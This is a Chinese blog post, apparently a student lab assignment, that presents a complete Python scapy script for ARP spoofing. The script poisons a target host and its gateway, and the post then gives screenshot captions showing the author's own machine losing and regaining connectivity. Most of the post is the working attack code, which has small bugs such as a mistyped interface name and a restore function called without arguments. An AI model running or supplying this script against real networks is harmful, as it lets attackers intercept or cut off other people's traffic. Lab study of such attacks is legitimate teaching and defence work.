大三实训作业-arp欺骗攻击案例

环境:kali
工具:python3

不说废话,直接上代码

#arp数据包攻击 

from scapy.all import *
import sys

def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
    '''
    arp缓冲表恢复

    '''
    print("[*] 恢复ARP缓冲......")

    #构造ARP包
    send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,
             hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
    send(ARP(op=2, psrc=target_ip, pdst=gateway_ip,
             hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac))

def attack_target(gateway_ip,gateway_mac,target_ip,target_mac):

    #scapy构造ARP包
    #欺骗目标主机,我是网关
    #发给目标主机(target_ip)
    poison_target = ARP()
    poison_target.op = 2
    poison_target.psrc = gateway_ip
    poison_target.pdst = target_ip
    poison_target.hwdst = target_mac

    #欺骗网关,我是目标主机
    #发给网关(gateway_ip)
    poison_gateway = ARP()
    poison_gateway.op = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst = gateway_mac

    print("[*] 正在进行ARP攻击 [CTRL+C 结束]")

    while True:
        try:
            #循环发送arp包
            send(poison_target)
            send(poison_gateway)
            #休眠
            time.sleep(2)

            #捕获键盘中断
        except KeyboardInterrupt:
            #ARP缓冲恢复
            restore_target()
            break
    print("[*] ARP攻击结束")

    return



    pass
def main(gateway_ip,target_ip):
    #网关(kali)
    internface = "etho"
    #设置网卡
    conf.iface = internface
    #关闭提示信息
    conf.verb = 0

    print("[*] 网卡:%s"%internface)

    #获取网关MAC
    gateway_mac = getmacbyip(gateway_ip)
    if gateway_mac is None:
        print ("[!] 获取网关MAC失败。 Exiting")
        sys.exit(0)
    else:
        print("[*] 网关:%s MAC: %s"%(gateway_ip,gateway_mac))

    #获取目标主机MAC
    target_mac = getmacbyip(target_ip)
    if target_mac is None:
        print ("[!] 获取目标主机网关MAC失败。 Exiting")
        sys.exit(0)
    else:
        print("[*] 目标主机:%s MAC: %s "%(target_ip,target_mac))

    #开始攻击
    attack_target(gateway_ip, gateway_mac, target_ip, target_mac)
if __name__ == '__main__':
  gateway_ip = input("Starting to input target-gateway:")
  target_ip = input("Starting to input target-address-ip:")
  main(gateway_ip,target_ip)

试验截图:

物理机网卡信息:
在这里插入图片描述
检查物理机网络是否畅通
在这里插入图片描述
开始运行脚本,开始攻击物理机
在这里插入图片描述
物理机再次检查网络,攻击成功!!
在这里插入图片描述
结束脚本,物理机网络畅通!
在这里插入图片描述

  • 3
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值